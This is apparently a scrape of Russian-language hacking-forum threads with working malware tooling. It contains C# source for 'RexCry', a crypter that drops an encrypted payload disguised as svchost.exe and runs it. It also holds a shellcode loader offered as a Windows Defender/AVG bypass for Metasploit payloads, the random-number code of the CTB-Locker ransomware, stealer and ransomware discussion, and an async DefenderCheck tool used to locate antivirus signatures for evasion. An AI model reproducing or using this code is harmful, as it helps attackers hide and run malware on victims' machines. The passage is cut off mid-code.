using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using Microsoft.Win32;

namespace RexCry
{
    class Program
    {
        static byte[] ftocrypt, OBIHAS, bhas12457905137ms;
        static string ambopa;
        static int bmio124;
        static string MiNsp11nvb6 = "==KUTAZ==";
        static void Main(string[] args)
        {
            FileInfo f = new FileInfo(System.AppDomain.CurrentDomain.FriendlyName);
            long s1 = f.Length;
            Console.WriteLine(s1);
            if (s1 > 9216)
            {
                OBIHAS = File.ReadAllBytes(System.Reflection.Assembly.GetEntryAssembly().Location);
                string nfsdfG = Convert.ToBase64String(OBIHAS);
                string[] ASDGWa = nfsdfG.Split(new string[] { "PT1LVVRBWj09" }, StringSplitOptions.None);
                byte[] nboia = Convert.FromBase64String(ASDGWa[1]);
                File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/svchost.exe", Convert.FromBase64String(KJKAJSF(nboia)));
                System.Diagnostics.Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+ "/svchost.exe");
            }
            else
            {

                Console.WriteLine("Write path to file to encrypt:");
                ambopa = Console.ReadLine();
                ftocrypt = File.ReadAllBytes(ambopa);
                OBIHAS = File.ReadAllBytes(System.Reflection.Assembly.GetEntryAssembly().Location);
                bhas12457905137ms = asddwg2yh43(OBIHAS, Encoding.ASCII.GetBytes(MiNsp11nvb6));
                bhas12457905137ms = asddwg2yh43(bhas12457905137ms, ENCASFD531(ftocrypt));
                bmio124 = OBIHAS.Length;
                File.WriteAllBytes("file.exe",bhas12457905137ms);
                Console.ReadKey();
            }
        }
        public static IEnumerable<int> PatternAt(byte[] source, byte[] pattern)
        {
            for (int i = 0; i < source.Length; i++)
            {
                if (source.Skip(i).Take(pattern.Length).SequenceEqual(pattern))
                {
                    yield return i;
                }
            }
        }
        static byte[] asddwg2yh43(byte[] arrayA, byte[] arrayB)
        {
            byte[] outputBytes = new byte[arrayA.Length + arrayB.Length];
            Buffer.BlockCopy(arrayA, 0, outputBytes, 0, arrayA.Length);
            Buffer.BlockCopy(arrayB, 0, outputBytes, arrayA.Length, arrayB.Length);
            return outputBytes;
        }
        static byte[] ENCASFD531(byte[] tobyas)
        {
            string bs56721 = Convert.ToBase64String(tobyas);
            string eckasdf = MASFGKU.NBOASaa(bs56721, "1234");
            byte[] bnpiwro = Encoding.ASCII.GetBytes(eckasdf);
            return bnpiwro;

        }
        static string KJKAJSF(byte[] asf14na)
        {
            string BNIOWJNEASGIJDVNL = Encoding.UTF8.GetString(asf14na);
            string BNAO = MASFGKU.Bniaod(BNIOWJNEASGIJDVNL, "1234");
            return BNAO;
        }

    }
    public static class MASFGKU
    {
        private const string bnoa = "pemgail9uzpgzl88";
        private const int basiop = 256;
        public static string NBOASaa(string ABNPA, string PSAWFG)
        {
            byte[] IBAJSDB = Encoding.UTF8.GetBytes(bnoa);
            byte[] aSNOBIA = Encoding.UTF8.GetBytes(ABNPA);
            PasswordDeriveBytes ABNIOP = new PasswordDeriveBytes(PSAWFG, null);
            byte[] keyBytes = ABNIOP.GetBytes(basiop / 8);
            RijndaelManaged NMPOAbmKAOP = new RijndaelManaged();
            NMPOAbmKAOP.Mode = CipherMode.CBC;
            ICryptoTransform BIONAHIAJIA = NMPOAbmKAOP.CreateEncryptor(keyBytes, IBAJSDB);
            MemoryStream MABHIOP = new MemoryStream();
            CryptoStream JOPBAJHNOIA = new CryptoStream(MABHIOP, BIONAHIAJIA, CryptoStreamMode.Write);
            JOPBAJHNOIA.Write(aSNOBIA, 0, aSNOBIA.Length);
            JOPBAJHNOIA.FlushFinalBlock();
            byte[] BONAIOBJIOPAADIOBIOA = MABHIOP.ToArray();
            MABHIOP.Close();
            JOPBAJHNOIA.Close();
            return Convert.ToBase64String(BONAIOBJIOPAADIOBIOA);
        }
        public static string Bniaod(string abnioai, string gbnasj15318)
        {
            byte[] pyh378efnv7 = Encoding.UTF8.GetBytes(bnoa);
            byte[] nbso4314 = Convert.FromBase64String(abnioai);
            PasswordDeriveBytes mn954sdvs = new PasswordDeriveBytes(gbnasj15318, null);
            byte[] keyBytes = mn954sdvs.GetBytes(basiop / 8);
            RijndaelManaged sdggsgd1245s = new RijndaelManaged();
            sdggsgd1245s.Mode = CipherMode.CBC;
            ICryptoTransform dcvdasbnoi = sdggsgd1245s.CreateDecryptor(keyBytes, pyh378efnv7);
            MemoryStream tiegpqoav = new MemoryStream(nbso4314);
            CryptoStream bdnoia = new CryptoStream(tiegpqoav, dcvdasbnoi, CryptoStreamMode.Read);
            byte[] rhwmnwiavjioaAAAAAAAAAAAAAAAA = new byte[nbso4314.Length];
            int BBNAOIJHAUIOHIOAXBHIADJA = bdnoia.Read(rhwmnwiavjioaAAAAAAAAAAAAAAAA, 0, rhwmnwiavjioaAAAAAAAAAAAAAAAA.Length);
            tiegpqoav.Close();
            bdnoia.Close();
            return Encoding.UTF8.GetString(rhwmnwiavjioaAAAAAAAAAAAAAAAA, 0, BBNAOIJHAUIOHIOAXBHIADJA);
        }
    }
}
отравить Клик по Хендлу через postMessage
ID: 6765d804b4103b69df375aaa
Thread ID: 34207
Created: 2020-01-05T17:47:26+0000
Last Post: 2020-01-07T14:24:52+0000
Author: GayFox
Replies: 2 Views: 1K

Всем хай . как отправить клик в определенное окно ?
вот мой код

PostMessage(new HandleRef(null, WinGetHandle(textBox3.Text)), (uint)WMessages.WM_LBUTTONDOWN, (IntPtr)((long)((ulong)1)), cursorpos);
cursorpos - координаты клика по X И Y
этот запрос не работает На Explorer а на другие окна работает в чем проблема?

Простой shellcode loader c#
ID: 6765d804b4103b69df375aae
Thread ID: 34178
Created: 2020-01-04T02:06:12+0000
Last Post: 2020-01-04T02:06:12+0000
Author: ColorS
Replies: 0 Views: 1K

простой обход Windows Defender, AVG, xVirus.

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
//функция bypass
namespace Loader
{
class Program
{

public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };
public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };

static void Main(string[] args)
{
String app_name = AppDomain.CurrentDomain.FriendlyName;
String usage = $"Usage: {app_name} <path_to_metasploit_payload>";

if (args.Length == 1)
{
if (!File.Exists($@"{args[0]}"))
{
Console.WriteLine("[!] Error");
Environment.Exit(1);
}

Console.WriteLine("_Error ");

// Read in MetaSploit Byte[] Code from File
String fileData = System.IO.File.ReadAllText($@"{args[0]}");
String tmp = (fileData.Split('{')[1]).Split('}')[0];

// Перевести в byte массив
string[] s = tmp.Split(',');
byte[] data = new byte[s.Length];
for (int i = 0; i < data.Length; i++)
data _= byte.Parse(s _.Replace( "0x", ""), System.Globalization.NumberStyles.HexNumber);

// Шифрование и кодирование данных:
byte[] e_data = Encrypt(data, key, iv);
String finalPayload = Convert.ToBase64String(e_data);
Console.WriteLine($"_Replace the hiphop variable with your new payload:\n\n\t String hiphop = " + '"' + $"{finalPayload}" + '"' + ';');

Environment.Exit(0);
}
// работа с исключениями
else if (args.Length > 1)
{
Console.WriteLine(usage);
Environment.Exit(1);
}
// запуск нашей полезной нагрузки
else
{
// команда для msf "msfvenom -p windows/exe cmd=calc.exe -f csharp"
String hiphop = "ваша нагрузка ";

byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);
nonsense(de_data);
}

}

// Shell Code Loader
public static bool nonsense(byte[] shellcode)
{

try
{
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

return true;
}
catch (Exception e)
{
Console.Error.WriteLine("exception: " + e.Message);
return false;
}
}

// эксплуатирование shellcode в памяти
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);

[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);

public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;

aes.Key = key;
aes.IV = iv;

using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, encryptor);
}
}
}

public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;

aes.Key = key;
aes.IV = iv;

using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}

private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();

return ms.ToArray();
}
}

}
}________


Click to expand...

кто понимает что за код .Net C#
ID: 6765d804b4103b69df375aaf
Thread ID: 34174
Created: 2020-01-03T19:35:49+0000
Last Post: 2020-01-03T22:16:35+0000
Author: GayFox
Replies: 1 Views: 1K

Не до конца понимаю алгоритм С#
код : http://recordit.co/MLlT5Wty1U
кто понимает что там стучи ко мне тг @GayFox_322

стиллер на Enity Framework это ужас?
ID: 6765d804b4103b69df375abb
Thread ID: 33761
Created: 2019-12-10T23:21:45+0000
Last Post: 2019-12-11T12:34:04+0000
Author: ColorS
Replies: 1 Views: 1K

Да да не кидайте помидорами, решил спросить почему стиллер с зависимостями так плохо, если это гарантирует что код сто процентно выполнится и детекта никто никого не будет, не надо возиться с эмуляторами, это нормально или ”умысел школоты"? ибо код на си шарпе да еще с такой херью смешит.

Криптолокер
ID: 6765d804b4103b69df375ac8
Thread ID: 33348
Created: 2019-11-21T21:47:17+0000
Last Post: 2019-11-22T08:41:19+0000
Author: Crypto Locker
Replies: 3 Views: 1K

Имеет ли смысл сжимать файл перед шифрованием?

CTB-Locker Critrini CSPRNG C++ Source
ID: 6765d804b4103b69df375ac9
Thread ID: 33289
Created: 2019-11-19T15:32:49+0000
Last Post: 2019-11-19T15:32:49+0000
Author: Crypto Locker
Replies: 0 Views: 1K

C++:Copy to clipboard

#include <windows.h>
#include <stdint.h>
#include <stdio.h>

#define RL(x,n)   (((x) << n) | ((x) >> (32 - n)))
#define RR(x,n)   (((x) >> n) | ((x) << (32 - n)))

#define S0(x)  (RR((x), 2) ^ RR((x),13) ^ RR((x),22))
#define S1(x)  (RR((x), 6) ^ RR((x),11) ^ RR((x),25))
#define G0(x)  (RR((x), 7) ^ RR((x),18) ^ ((x) >> 3))
#define G1(x)  (RR((x),17) ^ RR((x),19) ^ ((x) >> 10))

typedef struct {
    uint32_t buf[16];
    uint32_t hash[8];
    uint32_t len[2];
} sha256_context;

static const uint32_t K[64] = {
     0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
     0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
     0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
     0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
     0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
     0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
     0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
     0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
     0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
     0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
     0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
     0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
     0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
     0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
     0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
     0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};

/* -------------------------------------------------------------------------- */
static void _bswapw(uint32_t *p, uint32_t i)
{
    while (i--) p[i] = (RR(p[i], 24) & 0x00ff00ff) | (RR(p[i], 8) & 0xff00ff00);

} /* _bswapw */

/* -------------------------------------------------------------------------- */
#ifndef USE_STD_MEMCPY
void * __cdecl _memcp(void *d, const void *s, uint32_t sz)
{
    void *rv = d;

    while (sz--) *(char *)d = *(char *)s, d = (char *)d + 1, s = (char *)s + 1;

    return(rv);
} /* _memcp */
#endif

/* -------------------------------------------------------------------------- */
static void _rtrf(uint32_t *b, uint32_t *p, uint32_t i, uint32_t j)
{
#define B(x, y) b[(x-y) & 7]
#define P(x, y) p[(x+y) & 15]

    B(7, i) += (j ? (p[i & 15] += G1(P(i, 14)) + P(i, 9) + G0(P(i, 1))) : p[i & 15])
        + K[i + j] + S1(B(4, i))
        + (B(6, i) ^ (B(4, i) & (B(5, i) ^ B(6, i))));
    B(3, i) += B(7, i);
    B(7, i) += S0(B(0, i)) + ((B(0, i) & B(1, i)) | (B(2, i) & (B(0, i) ^ B(1, i))));

#undef P
#undef B
} /* _rtrf */

/* -------------------------------------------------------------------------- */
static void _hash(sha256_context *ctx)
{
    uint32_t b[8], *p, j;

    b[0] = ctx->hash[0]; b[1] = ctx->hash[1]; b[2] = ctx->hash[2];
    b[3] = ctx->hash[3]; b[4] = ctx->hash[4]; b[5] = ctx->hash[5];
    b[6] = ctx->hash[6]; b[7] = ctx->hash[7];

    for (p = ctx->buf, j = 0; j < 64; j += 16)
        _rtrf(b, p, 0, j), _rtrf(b, p, 1, j), _rtrf(b, p, 2, j),
        _rtrf(b, p, 3, j), _rtrf(b, p, 4, j), _rtrf(b, p, 5, j),
        _rtrf(b, p, 6, j), _rtrf(b, p, 7, j), _rtrf(b, p, 8, j),
        _rtrf(b, p, 9, j), _rtrf(b, p, 10, j), _rtrf(b, p, 11, j),
        _rtrf(b, p, 12, j), _rtrf(b, p, 13, j), _rtrf(b, p, 14, j),
        _rtrf(b, p, 15, j);

    ctx->hash[0] += b[0]; ctx->hash[1] += b[1]; ctx->hash[2] += b[2];
    ctx->hash[3] += b[3]; ctx->hash[4] += b[4]; ctx->hash[5] += b[5];
    ctx->hash[6] += b[6]; ctx->hash[7] += b[7];

} /* _hash */

/* -------------------------------------------------------------------------- */
void sha256_init(sha256_context *ctx)
{
    ctx->len[0] = ctx->len[1] = 0;
    ctx->hash[0] = 0x6a09e667; ctx->hash[1] = 0xbb67ae85;
    ctx->hash[2] = 0x3c6ef372; ctx->hash[3] = 0xa54ff53a;
    ctx->hash[4] = 0x510e527f; ctx->hash[5] = 0x9b05688c;
    ctx->hash[6] = 0x1f83d9ab; ctx->hash[7] = 0x5be0cd19;

} /* sha256_init */

/* -------------------------------------------------------------------------- */
void sha256_hash(sha256_context *ctx, uint8_t *dat, uint32_t sz)
{
    register uint32_t i = ctx->len[0] & 63, l, j;

    if ((ctx->len[0] += sz) < sz)  ++(ctx->len[1]);

    for (j = 0, l = 64 - i; sz >= l; j += l, sz -= l, l = 64, i = 0)
    {
        _memcp((char *)ctx->buf + i, &dat[j], l);
        _bswapw(ctx->buf, 16);
        _hash(ctx);
    }
    _memcp((char *)ctx->buf + i, &dat[j], sz);

} /* _hash */

/* -------------------------------------------------------------------------- */
void sha256_done(sha256_context *ctx, uint8_t *buf)
{
    uint32_t i = (uint32_t)(ctx->len[0] & 63), j = ((~i) & 3) << 3;

    _bswapw(ctx->buf, (i + 3) >> 2);

    ctx->buf[i >> 2] &= 0xffffff80 << j;  /* add padding */
    ctx->buf[i >> 2] |= 0x00000080 << j;

    if (i < 56) i = (i >> 2) + 1;
    else ctx->buf[15] ^= (i < 60) ? ctx->buf[15] : 0, _hash(ctx), i = 0;

    while (i < 14) ctx->buf[i++] = 0;

    ctx->buf[14] = (ctx->len[1] << 3) | (ctx->len[0] >> 29); /* add length */
    ctx->buf[15] = ctx->len[0] << 3;

    _hash(ctx);

    for (i = 0; i < 32; i++)
        ctx->buf[i % 16] = 0, /* may remove this line in case of a DIY cleanup */
        buf[i] = (uint8_t)(ctx->hash[i >> 2] >> ((~i & 3) << 3));

} /* sha256_done */

BOOL getRandomBuffer(BYTE* data, SIZE_T len) {
    typedef BOOL(WINAPI* fnc)(BYTE*, SIZE_T);
    static HMODULE library;
    static FARPROC func;
    if (!library) library = LoadLibraryA("advapi32.dll");
    if (!func) func = GetProcAddress(library, "SystemFunction036");
    return ((fnc)func)(data, len);
}

int main() {
    sha256_context sha;
    sha256_init(&sha);
    BYTE hash[32];

    if (&sha) {
        DWORD xorThreadProcID = GetCurrentThreadId() ^ GetCurrentProcessId();
        DWORD tickCount = GetTickCount();
        FILETIME sysFileTime;
        BYTE buffer[36];

        if (getRandomBuffer(buffer, 0x14)) {
            GetSystemTimeAsFileTime(&sysFileTime);
            buffer[0x14 + 0x00] = (sysFileTime.dwHighDateTime >> 24) & 0xFF;
            buffer[0x14 + 0x01] = (sysFileTime.dwHighDateTime >> 16) & 0xFF;
            buffer[0x14 + 0x02] = (sysFileTime.dwHighDateTime >> 8) & 0xFF;
            buffer[0x14 + 0x03] = (sysFileTime.dwHighDateTime) & 0xFF;

            buffer[0x14 + 0x04] = (sysFileTime.dwLowDateTime >> 24) & 0xFF;
            buffer[0x14 + 0x05] = (sysFileTime.dwLowDateTime >> 16) & 0xFF;
            buffer[0x14 + 0x06] = (sysFileTime.dwLowDateTime >> 8) & 0xFF;
            buffer[0x14 + 0x07] = (sysFileTime.dwLowDateTime) & 0xFF;

            buffer[0x14 + 0x08] = (tickCount >> 24) & 0xFF;
            buffer[0x14 + 0x09] = (tickCount >> 16) & 0xFF;
            buffer[0x14 + 0x0A] = (tickCount >> 8) & 0xFF;
            buffer[0x14 + 0x0B] = (tickCount) & 0xFF;

            buffer[0x14 + 0x0C] = (xorThreadProcID >> 24) & 0xFF;
            buffer[0x14 + 0x0D] = (xorThreadProcID >> 16) & 0xFF;
            buffer[0x14 + 0x0E] = (xorThreadProcID >> 8) & 0xFF;
            buffer[0x14 + 0x0F] = (xorThreadProcID) & 0xFF;
        }

        sha256_hash(&sha, buffer, 36);
        sha256_done(&sha, hash);
    }

    return 0;
}

Код не оформлял, выкладываю реализацию CSPRNG известного криптолокера CTB- Locker.
P.S. Конкурентов я не давлю таким образом, я и свой код выкладываю, просто заполняю форум контентом.

Вопрос по компиляции С ++
ID: 6765d804b4103b69df375aca
Thread ID: 33256
Created: 2019-11-18T12:25:47+0000
Last Post: 2019-11-18T13:59:59+0000
Author: Stabilniy
Replies: 4 Views: 1K

Согласно справке [https://docs.microsoft.com/ru-ru/cp...-a-c-program-on-the- command-line?view=vs-2019](https://docs.microsoft.com/ru- ru/cpp/build/walkthrough-compile-a-c-program-on-the-command-line?view=vs-2019) для копиляции фаилов из архива с помощью командной строки VS необходимо выполнить
например cl file1.c file2.c file3.c с перечисоением всех фаилов. Подскажите пожалйста нет ли способа задать дирректорию так чтобы фаилы внутри неё включая в поддирр. были автоматически скомпилированы? Чтобы все не перечислять. Их же может быть очень много.

Реверс dll
ID: 6765d804b4103b69df375ad0
Thread ID: 32577
Created: 2019-10-18T14:59:57+0000
Last Post: 2019-10-18T14:59:57+0000
Author: Alaska
Replies: 0 Views: 1K

Приветствую. Есть ли специалисты кто сможет сделать реверс длл, ну или хотя бы расковырять длл и понять что она делает? Подробности дам в пм.

Замеряем производительность функций сравнения
ID: 6765d804b4103b69df375ad1
Thread ID: 32565
Created: 2019-10-17T17:39:24+0000
Last Post: 2019-10-18T10:02:49+0000
Author: MegadethProj
Replies: 7 Views: 1K

Всем привет, это моя первая статья, написат её меня побудило то, что когда я писал 1 софт из-за того что я использовал плохую
функцию сравнения строк он работал очень долго, сейчас я хочу замерить скорось работы таких функций как: lstrcmpW, wcsicmp , StrStrW
и понять какая из них более приспособленна к частым вызовам.

Тестирование будем проводить на таком коде:

C++:Copy to clipboard

int main(int argc, char *argv[]) {
    WCHAR* p1 = (WCHAR*)L"abcdabcdabcdabcd";
    WCHAR* p2 = (WCHAR*)L"abcdabcdabcdabcd";

    long double before = GetTickCount();
    for (int i = 0; i < 10000000; i++) {
        /*compare*/(p1, p2);
    }
    long double after = GetTickCount();
    long double seconds = (after - before) / 1000;
    printf("\n\n\nSeconds: %lf", seconds);

    getchar();
    return -1;
}

1. lstrcmpW
Первый опыт: 8.969000 сек
Второй опыт: 7.407000 сек
Третий опыт: 7.656000 сек

2. wcsicmp
Первый опыт: 0.844000 сек
Второй опыт: 0.891000 сек
Третий опыт: 0.875000 сек

2. StrStrW
Первый опыт: 9.141000 сек
Второй опыт: 7.859000 сек
Третий опыт: 7.797000 сек

Как можно понять из результатов выше, самая быстрая функция это wcsicmp , ну и бонусом я напишу свою функцию для сравнения и посмотрим на её
скорость.

C++:Copy to clipboard

int wcmp(wchar_t* p1, wchar_t* p2) {
    
if (p1 && p2) {
        do {
            if (*p1 != *p2) return 1;
            p1++; p2++;
        } while (*p1 && *p2);
        if (*p1 == L'\0' && *p2 == L'\0') return 0;
    }

    return 1;
}

При запуске показывает 0.453000 секунд :smile23:

DefenderCheck async (ловим сигнатуры WD асинхронно)
ID: 6765d804b4103b69df375719
Thread ID: 88828
Created: 2023-05-24T21:10:49+0000
Last Post: 2024-04-06T01:22:24+0000
Author: salsa20
Replies: 2 Views: 997

Я хотел бы поделиться с вами интересным проектом, который мог бы быть полезным для анализа сигнатур от WD. Возможно, вы уже знакомы с ним - https://github.com/matterpreter/DefenderCheck.

После некоторого времени проведенного за изучением и разработкой, я создал асинхронную версию этого проекта, и я должен признать, что она работает гораздо быстрее. Теперь можно быстро обрабатывать большие объемы данных и искать сигнатуры, которые могут указывать на проблемы с WD. Просто скопируйте сигнатуру в hex-редакторе, используя код из проекта, и вы сможете найти и исправить проблему.

Для компиляции замените код на следующий:

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace DefenderCheck
{
    static class ProcessExtensions
    {
        public static Task WaitForExitAsync(this Process process, CancellationToken cancellationToken = default)
        {
            if (process == null)
                throw new ArgumentNullException(nameof(process));

            var tcs = new TaskCompletionSource<bool>();

            process.EnableRaisingEvents = true;
            process.Exited += (s, e) => tcs.TrySetResult(true);
            if (cancellationToken != default)
                cancellationToken.Register(() => tcs.TrySetCanceled());

            return tcs.Task;
        }
    }

    class Program
    {
        private const string TempDirectoryPath = @"C:\Temp";
        private const string TestFilePath = @"C:\Temp\testfile.exe";

        static async Task Main(string[] args)
        {
            bool debug = false;
            if (args.Length == 2 && args[1].Contains("debug"))
            {
                debug = true;
            }

            string targetFile = args[0];
            if (!File.Exists(targetFile))
            {
                Console.WriteLine("[-] Can't access the target file");
                return;
            }

            string originalFileDetectionStatus = Scan(targetFile).ToString();
            if (originalFileDetectionStatus.Equals("NoThreatFound"))
            {
                if (debug) { Console.WriteLine("Scanning the whole file first"); }
                Console.WriteLine("[+] No threat found in the submitted file!");
                return;
            }

            if (!Directory.Exists(TempDirectoryPath))
            {
                Console.WriteLine(@"[-] C:\Temp doesn't exist. Creating it...");
                Directory.CreateDirectory(TempDirectoryPath);
            }

            byte[] originalFileContents = await ReadAllBytesAsync(targetFile);
            int originalFileSize = originalFileContents.Length;
            Console.WriteLine("Target file size: {0} bytes", originalFileContents.Length);
            Console.WriteLine("Analyzing...\n");

            byte[] buffer = new byte[originalFileSize / 2];
            Array.Copy(originalFileContents, 0, buffer, 0, buffer.Length);
            int lastGood = 0;

            bool threatFound = false;

            while (!threatFound)
            {
                if (debug) { Console.WriteLine("Testing {0} bytes", buffer.Length); }
                await WriteAllBytesAsync(TestFilePath, buffer);

                List<Task<ScanResult>> scanTasks = new List<Task<ScanResult>>
                {
                    Task.Run(() => Scan(TestFilePath))
                };
                for (int i = 0; i < lastGood; i += buffer.Length)
                {
                    int remainingBytes = originalFileContents.Length - i;
                    int bytesToCopy = Math.Min(buffer.Length, remainingBytes);
                    byte[] previousPart = new byte[bytesToCopy];
                    Array.Copy(originalFileContents, i, previousPart, 0, bytesToCopy);
                    string previousFilePath = $@"{TempDirectoryPath}\previousPart{i}.exe";
                    await WriteAllBytesAsync(previousFilePath, previousPart);
                    scanTasks.Add(Task.Run(() => Scan(previousFilePath)));
                }

                await Task.WhenAll(scanTasks);

                foreach (var task in scanTasks)
                {
                    string detectionStatus = task.Result.ToString();
                    if (detectionStatus.Equals("ThreatFound"))
                    {
                        if (debug) { Console.WriteLine("Threat found. Half-splitting again..."); }
                        byte[] tempArray = await HalfSplitterAsync(buffer, lastGood);
                        Array.Resize(ref buffer, tempArray.Length);
                        Array.Copy(tempArray, buffer, tempArray.Length);
                        break;
                    }
                    else if (detectionStatus.Equals("NoThreatFound"))
                    {
                        if (debug) { Console.WriteLine("No threat found. Going up 50% of the current size."); };
                        lastGood = buffer.Length;
                        byte[] tempArray = Overshot(originalFileContents, buffer.Length);
                        if (tempArray.Length == buffer.Length)
                        {
                            Console.WriteLine("Exhausted the search. The binary looks good to go!");
                            Environment.Exit(0);
                        }
                        Array.Resize(ref buffer, tempArray.Length);
                        Array.Copy(tempArray, buffer, tempArray.Length);
                    }
                    else
                    {
                        Console.WriteLine("Unknown detection status: {0}", detectionStatus);
                        Environment.Exit(1);
                    }
                }
            }
        }
        public static async Task<ScanResult> ScanByteArray(byte[] bytes)
        {
            // Создаем временный файл для сохранения массива байтов
            string tempFilePath = Path.Combine(TempDirectoryPath, "tempfile.exe");

            try
            {
                // Записываем массив байтов во временный файл
                await WriteAllBytesAsync(tempFilePath, bytes);

                // Выполняем сканирование временного файла
                ScanResult scanResult = await Scan(tempFilePath);

                return scanResult;
            }
            finally
            {
                // Удаляем временный файл
                if (File.Exists(tempFilePath))
                {
                    File.Delete(tempFilePath);
                }
            }
        }

        public static async Task<byte[]> HalfSplitterAsync(byte[] originalarray, int lastgood)
        {
            int startIndex = lastgood;
            int endIndex = originalarray.Length;
            int bufferSize = endIndex - startIndex;

            if (bufferSize <= 0)
            {
                Console.WriteLine("[-] Invalid buffer size. Something is wrong...");
                Environment.Exit(1);
            }

            byte[] splitarray = new byte[bufferSize];
            Array.Copy(originalarray, startIndex, splitarray, 0, bufferSize);

            // Scan the split array for threats
            ScanResult scanResult = await ScanByteArray(splitarray);
            if (scanResult == ScanResult.ThreatFound)
            {
                Console.WriteLine("[!] Identified end of bad bytes at offset 0x{0:X} in the original file", endIndex);
                await Scan(TestFilePath, true);

                byte[] offendingBytes = new byte[256];
                int offendingBytesLength = Math.Min(bufferSize, 256);
                Array.Copy(splitarray, bufferSize - offendingBytesLength, offendingBytes, 0, offendingBytesLength);

                HexDump(offendingBytes, 16);
                File.Delete(TestFilePath);
                Environment.Exit(0);
            }

            return splitarray;
        }



        public static byte[] Overshot(byte[] originalArray, int splitArraySize)
        {
            int newSize = splitArraySize + (originalArray.Length - splitArraySize) / 2;
            if (newSize == originalArray.Length - 1)
            {
                Console.WriteLine("Exhausted the search. The binary looks good to go!");
                Environment.Exit(0);
            }

            byte[] newArray = new byte[newSize];
            Array.Copy(originalArray, 0, newArray, 0, newArray.Length);
            return newArray;
        }

        public static async Task<byte[]> ReadAllBytesAsync(string path)
        {
            using (FileStream sourceStream = new FileStream(path,
                FileMode.Open, FileAccess.Read, FileShare.Read,
                bufferSize: 4096, useAsync: true))
            {
                int bufferSize = (int)sourceStream.Length;
                byte[] buffer = new byte[bufferSize];
                await sourceStream.ReadAsync(buffer, 0, bufferSize);
                return buffer;
            }
        }

        public static async Task WriteAllBytesAsync(string path, byte[] bytes)
        {
            using (FileStream destinationStream = new FileStream(path,
                FileMode.Create, FileAccess.Write, FileShare.None,
                bufferSize: 4096, useAsync: true))
            {
                await destinationStream.WriteAsync(bytes, 0, bytes.Length);
            }
        }

        public static async Task<ScanResult> Scan(string file, bool getSig = false)
        {
            if (!File.Exists(file))
            {
                return ScanResult.FileNotFound;
            }

            var process = new Process();
            var mpcmdrun = new ProcessStartInfo(@"C:\Program Files\Windows Defender\MpCmdRun.exe")
            {
                Arguments = $"-Scan -ScanType 3 -File \"{file}\" -DisableRemediation -Trace -Level 0x10",
                CreateNoWindow = true,
                ErrorDialog = false,
                UseShellExecute = false,
                RedirectStandardOutput = true,
                WindowStyle = ProcessWindowStyle.Hidden
            };

            process.StartInfo = mpcmdrun;
            process.Start();
            await process.WaitForExitAsync(); // Ожидание асинхронного завершения процесса

            if (!process.HasExited)
            {
                process.Kill();
                return ScanResult.Timeout;
            }

            if (getSig)
            {
                string stdout;
